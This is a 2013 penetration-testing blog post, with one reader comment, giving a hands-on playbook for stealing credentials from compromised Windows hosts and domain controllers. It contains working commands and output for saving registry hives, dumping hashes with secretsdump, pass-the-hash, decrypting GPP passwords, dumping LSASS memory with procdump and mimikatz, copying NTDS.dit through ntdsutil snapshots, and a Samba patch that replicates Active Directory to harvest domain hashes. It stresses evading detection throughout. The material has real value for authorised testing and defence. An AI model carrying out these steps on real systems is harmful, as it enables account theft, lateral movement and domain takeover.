Dumping Windows Credentials

December 20, 2013

By Sebastien Macke, @lanjelot


During penetration testing engagements, we often find ourselves on Windows systems, looking for account credentials. The purpose of this post is to walk through some techniques to gather credentials from Windows systems while being as non-intrusive as possible.

The core principles behind the techniques described in this post are:

  • Safety – Avoid causing any downtime, by using tools and techniques which are known to be safe, and will not render a system unstable.
  • Stealthiness – Avoid detection by using tools and techniques that will trigger alerts. Refrain from uploading binaries, turning off the anti-virus, generating suspicious event logs etc.
  • Efficiency – While Bernardo’s blog attempts to cover many of the tools and techniques available for dumping credentials from a Windows host, this post focuses on the most practical way to get the job done.

Dumping credentials on a Windows host

Once you’ve fully compromised a Windows host (by gaining SYSTEM-level privileges), your next move is to gather as many credentials as possible because they could grant you a greater level of access on the network, or the same passwords could be used elsewhere on other critical assets.

If the Windows host is part of an Active Directory domain, you’ll be on the hunt for privileged domain accounts, and your target will be (preferably) a member of the Domain Admins group.

The following techniques can be used to dump Windows credentials from an already-compromised Windows host.

  • Registry Hives

Get a copy of the SYSTEM, SECURITY and SAM hives and download them back to your local system:

C:\> reg.exe save hklm\sam c:\temp\sam.save
C:\> reg.exe save hklm\security c:\temp\security.save
C:\> reg.exe save hklm\system c:\temp\system.save
  • Password Hashes

Get the password hashes of the local accounts, the cached domain credentials and the LSA secrets in a single run with secretsdump:

$ secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
Impacket v0.9.11-dev - Copyright 2002-2013 Core Security Technologies

[*] Target system bootKey: 0x602e8c2947d56a95bf9cfad9e0bbbace
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
[*] Dumping cached domain logon information (uid:encryptedHash:longDomain:domain)
[*] Dumping LSA Secrets
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:2fb3672702973ac1b9ade0acbdab432f
  • Local SAM Hashes

Crack the LM hashes (if any) using Ophcrack.
Crack the NT hashes using JtR or hashcat.
Remember that if you can’t crack promising password hashes, you can just pass the hash against other accounts using the same password on other hosts or even the domain.

  • Cached Domain Credentials

These are the password hashes of domain users that have logged on to the host previously.
Crack them using JtR or hashcat. Remember to specify the right format, which is either mscash (xp, w2k3) or mscash2 (vista, w7, w2k8 …). Note that you can’t perform “pass-the-hash” style attacks with this type of hash.

  • LSA Secrets

Here, you will find account passwords for services that are set to run under actual Windows user accounts (as opposed to Local System, Network Service and Local Service), the auto-logon password and more.

If the Windows host is part of a domain, you will find the domain credentials of the machine account with which you can authenticate to the domain to list domain users and admins as well as browsing shares and so on.

Use pth on Kali Linux or wce on your own Windows system to use these credentials.

$ pth-net rpc user -U 'securus\john-pc$%aad3b435b51404eeaad3b435b51404ee:2fb3672702973ac1b9ade0acbdab432f' -S dc1.securus.corp.com

Browse shares for passwords, look on the domain controller for passwords in Group Policy Preferences (GPP) that can be decrypted:

C:\> wce.exe -s john-pc:securus:aad3b435b51404eeaad3b435b51404ee:2fb3672702973ac1b9ade0acbdab432f
C:\> findstr /S cpassword \\dc1.securus.corp.com\sysvol\*.xml
\\\sysvol\securus.corp.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml: ="" description="" cpassword="1MJPOM4MqvDWWJq5IY9nJqeUHMMt6N2CUtb7B/jRFPs" changeLogon="0" noChange="0" neverExpires="0" acctDisabled="1" subAuthority="RID_ADMIN" userName="Administrator (built-in)"/>
C:\> ruby gppdecrypt.rb 1MJPOM4MqvDWWJq5IY9nJqeUHMMt6N2CUtb7B/jRFPs
  • In-Memory Credentials

Dump clear-text passwords from memory using mimikatz and the Windows Task Manager to dump the LSASS process.

To do this, dump the lsass.exe process to a file using Windows built-in Task Manager with right-clicking “lsass.exe” then selecting “Create Dump File” (since Vista) or Procdump (pre Vista) – alternatively, use some powershell-fu (see carnal0wnage blog post):

C:\> procdump.exe -accepteula -ma lsass.exe c:\windows\temp\lsass.dmp 2>&1

Then dump the credentials offline using mimikatz and its minidump module:

C:\> mimikatz.exe log "sekurlsa::minidump lsass.dmp" sekurlsa::logonPasswords exit

Make sure you run mimikatz on the same major version and same architecture you pulled the process dump from (refer to this).

Alternatively, you can upload and run wce on the host, but the binary is likely to get picked up by most Anti Virus software. Also, note that wce-v1.41beta still doesn’t seem to dump the passwords of outbound SMB sessions (that can be listed with “net use” on the compromised Windows system), although mimikatz will.

  • Credential Manager

When a user authenticates to a network share, a proxy, or uses a piece of client software and ticks the “Remember my password” box, the password is typically stored in an encrypted vault using the Windows Data Protection API. You can see every saved credential in the Credential Manager (accessed through User Accounts in the Control Panel), and you can dump them with Network Password Recovery. Remember to run the 64-bit version on a 64-bit Windows instances, or you won’t get them all.

  • Protected Storage

Dump any passwords remembered in IE, Outlook or MSN using Protected Storage PassView.

  • Third-party software

NirSoft offers many tools to recover passwords stored by third-party software.

Dumping domain user hashes from the Domain Controller

These next techniques are used for dumping credentials when you already have access to a Domain Controller:

  • Volume Shadow Copy

This technique consists of retrieving the Active Directory database from the Directory Service running on the Domain Controller, also known as the “ntds.dit” file. It requires the attacker to interactively logon to the Domain Controller via Remote Desktop or “psexec” – the idea is to use the Volume Shadow Copy functionality to grab a copy of the “ntds.dit” file, which would be locked & protected from read access otherwise.

First, take note of the state of the Volume Shadow Copy service before going any further. If the Volume Shadow Copy service is not already running, which isn’t by default, then using ntdsutil or vssadmin as described below will start the service for you. Remember to set the service back to its original state once finished.

Then, confirm the location of the ntds.dit file from the “DSA Database file” parameter:

C:\> reg.exe query hklm\system\currentcontrolset\services\ntds\parameters

At this stage, check the current size of the ntds.dit file and make sure there is at least twice as much free disk space. Once this is done, use the Windows built-in command-line tool ntdsutil to create a snapshot of the active directory database.

C:\> ntdsutil
ntdsutil: snapshot
snapshot: activate instance NTDS
Active instance set to "NTDS".
snapshot: list all
No snapshots found.
// If there is a recent snapshot (ie. backups scheduled with Windows Server Backup), then consider using that instead of creating a new one.)
snapshot: create
Creating snapshot...
Snapshot set {ef026688-4c02-48b6-bc24-24df118eb7a2} generated successfully.
snapshot: list all
1: 2013/10/24:18:33 {ef026688-4c02-48b6-bc24-24df118eb7a2}
2: C: {5b8a2cd1-3f1a-4e32-8137-b8966699d2e1}
snapshot: mount 2
Snapshot {5b8a2cd1-3f1a-4e32-8137-b8966699d2e1} mounted as C:\$SNAP_201310241833_VOLUMEC$\

Now download the ntds.dit file from C:\$SNAP_201310241833_VOLUMEC$\Windows\NTDS\ and also get a copy of the SYSTEM registry hive (eg. reg.exe save HKLM\SYSTEM c:\system.save).

Cleanup when done. Delete the copy of the system hive, and remove the snapshot:

snapshot: list all
1: 2013/10/24:18:33 {ef026688-4c02-48b6-bc24-24df118eb7a2}
2: C: {5b8a2cd1-3f1a-4e32-8137-b8966699d2e1} C:\$SNAP_201310241833_VOLUMEC$\
snapshot: unmount 2
Snapshot {5b8a2cd1-3f1a-4e32-8137-b8966699d2e1} unmounted.
snapshot: list all
1: 2013/10/24:18:33 {ef026688-4c02-48b6-bc24-24df118eb7a2}
2: C: {5b8a2cd1-3f1a-4e32-8137-b8966699d2e1}
snapshot: delete 1
Snapshot {5b8a2cd1-3f1a-4e32-8137-b8966699d2e1} deleted.
snapshot: ^C

Restore the VSS service back to its original state (ie. stop the service if it wasn’t running before, disable the service if you had to enable it etc.).

Note that you could also use the Windows built-in tool vssadmin (as in this howto), however vssadmin will not get you a “consistent” snapshot whereas ntdsutil is the correct tool to properly backup the ntds database. That said, ntdsutil on Windows 2003 can’t create snapshots so vssadmin should be used instead in this particular case.

If ntds.dit appears to be corrupted, use the built-in command-line tool esentutl to try to repair it:

C:\> esentutl /p /o ntds.dit

Now it’s time to dump password hashes using secretsdump:

$ secretsdump.py -system system.save -ntds ntds.dit LOCAL
Impacket v0.9.11-dev - Copyright 2002-2013 Core Security Technologies

[*] Target system bootKey: 0x24f65609994cdbec01b8b0b61cf6a332
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] Pek found and decrypted: 0xca47b3a8b3477cec0a774bed669c3d9f
[*] Reading and decrypting hashes from ntds.dit

You can also dump the password history with the -history option (since r961).

  • AD Replication (EXPERIMENTAL)

This technique is less intrusive than the Volume Shadow Copy technique as it does not require you to create a snapshot of the AD database, start the VSS service, or even to interactively logon to the DC. It is also your best bet if the server has been hardened by stripping administrators of Se* privileges, completely disabling the VSS service or others, forbidding the creation of new services etc.

This technique consists of replicating the Active Directory database locally on your own system. AD replication normally happens when a new DC is added to a domain, however adding a DC is rather intrusive as it creates new objects within the AD database and leaves permanent marks even after the DC has been removed. Therefore we need a tool that only performs the replication step, and nothing else.

To my knowledge, there are no public tools to do this yet, although this technique has been talked about before at SSTIC 2010 by Aurelien Bordes who gave the lightning talk “Fiabilisation d’outils” and did a live demo of his private tool.

Instead of writing a standalone tool from the ground up, we can just modify Samba for our own purposes as it already implements the entire procedure of adding a new DC to a domain. Our changes simply consist of disabling each step that pushes changes to the AD in order to only retain the replication step.

Here is our amazing patch for samba-4.1.0:

--- ./src/samba-4.1.0/python/samba/join.py 2013-11-17 04:08:05.393333375 +1100
+++ /usr/lib/python2.7/site-packages/samba/join.py 2013-11-17 04:29:22.209999075 +1100
@@ -1053,6 +1053,11 @@
ctx.nc_list = [ ctx.config_dn, ctx.schema_dn ]
ctx.full_nc_list = [ctx.base_dn, ctx.config_dn, ctx.schema_dn ]

+ ctx.ntds_guid = misc.GUID(ctx.samdb.schema_format_value(“objectGUID”, ‘\x84\xb9\xe6\xb1t[\xb3A\x9e\xcbkwvd2u')) # any GUID will do
+ ctx.join_provision()
+ ctx.join_replicate()
+ return
if not ctx.subdomain:

After applying this patch, prepare your system to perform the replication process:

# rm -fr /var/lib/samba; mkdir /var/lib/samba; rm -f /etc/samba/smb.conf
# echo nameserver > /etc/resolv.conf # this is the IP address of the DC

Now, launch the replication:

# samba-tool domain join securus.corp.com DC -U securus\\administrator%Bonjour1 --realm=securus.corp.com
Finding a writeable DC for domain 'securus.corp.com'
Found DC dc1.securus.corp.com
workgroup is SECURUS
realm is securus.corp.com
Calling bare provision
More than one IPv4 address found. Using
No IPv6 address will be assigned
Provision OK for domain DN DC=securus,DC=corp,DC=com
Starting replication
Did not manage to negotiate mandetory feature SIGN for dcerpc auth_level 6
Schema-DN[CN=Schema,CN=Configuration,DC=securus,DC=corp,DC=com] objects[402] linked_values[0]
Schema-DN[CN=Schema,CN=Configuration,DC=securus,DC=corp,DC=com] objects[804] linked_values[0]
Schema-DN[CN=Schema,CN=Configuration,DC=securus,DC=corp,DC=com] objects[1206] linked_values[0]
Schema-DN[CN=Schema,CN=Configuration,DC=securus,DC=corp,DC=com] objects[1553] linked_values[0]
Analyze and apply schema objects
Partition[CN=Configuration,DC=securus,DC=corp,DC=com] objects[402] linked_values[0]
Partition[CN=Configuration,DC=securus,DC=corp,DC=com] objects[804] linked_values[0]
Partition[CN=Configuration,DC=securus,DC=corp,DC=com] objects[1206] linked_values[0]
Partition[CN=Configuration,DC=securus,DC=corp,DC=com] objects[1608] linked_values[1]
Partition[CN=Configuration,DC=securus,DC=corp,DC=com] objects[1622] linked_values[11]
Replicating critical objects from the base DN of the domain
Partition[DC=securus,DC=corp,DC=com] objects[100] linked_values[24]
Partition[DC=securus,DC=corp,DC=com] objects[347] linked_values[27]
Done with always replicated NC (base, config, schema)
Committing SAM database
Joined domain SECURUS (SID S-1-5-21-427569568-2812416765-2687365192) as a DC

Then, use the Samba buitlin tool pdbedit to dump the NT hashes locally:

# pdbedit -L -w
Administrator:4294967295:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:1C3383C792692C7B897A8CCF50ADE8F7:[U ]:LCT-529540CA:

Samba doesn’t seem to provide a tool to dump the password history, or the LM hashes (if the DC stores them), but you can use this simple python script samba-pwdump.py to extract them directly from the LDB database:

# ./samba-pwdump.py '/var/lib/samba/private/sam.ldb.d/DC=SECURUS,DC=CORP,DC=COM.ldb' -history

To highlight any differences before and after the replication, I compared the LDIF exports of the Root DSE and the base DNs of the Active Directory:

# dump Root DSE
ldapsearch -h -x -D 'SECURUS\Administrator' -w Bonjour1 -b "" -s base 'objectclass=*'
# dump base DNs
contexts=('DC=securus,DC=corp,DC=com' 'CN=Configuration,DC=securus,DC=corp,DC=com' 'CN=Schema,CN=Configuration,DC=securus,DC=corp,DC=com' 'DC=DomainDnsZones,DC=securus,DC=corp,DC=com' 'DC=ForestDnsZones,DC=securus,DC=corp,DC=com')
for ctx in "${contexts[@]}"; do
ldapsearch -h -x -D 'SECURUS\Administrator' -w Bonjour1 -b "$ctx" -s sub 'objectclass=*'

The only differences are the logonCount and lastLogon attributes of the domain admin account that have been incremented. Hence the highestCommitedUSN attribute of the Root DSE has been incremented as well. The replication will however generate “Directory Service Access” events (event ID 4672) in the Windows Security log, which result from gaining a privileged access to the AD. Other events could also be logged if some other categories are enabled (4932, 4928 …). Lastly, the replication does not change anything in the registry.

Finally, please remember that this technique comes with the usual disclaimer as it has only been tested in a lab so far, against a DC running Windows 2008 R2 SP1, and from a Archlinux host with the package samba-4.1.0-1 installed and the above patch applied.

Thanks for reading!

2 thoughts on “Dumping Windows Credentials

  1. Alberto Solino

    Hey there..

    Nice post!.. I actually coded the secretsdump.py and mantain impacket. Just in case, if you happen to get the user’s hashes and/or password, you can do pretty much everything (except the credential manager and protected storage that we don’t yet support) remotely, with the benefit that you don’t need to save the registry hives, ntds and download them (they might be big!). Instead, secretsdump.py saves the hives/ntds.dit remotely and parses them remotely (and then deletes it).



Leave a Reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>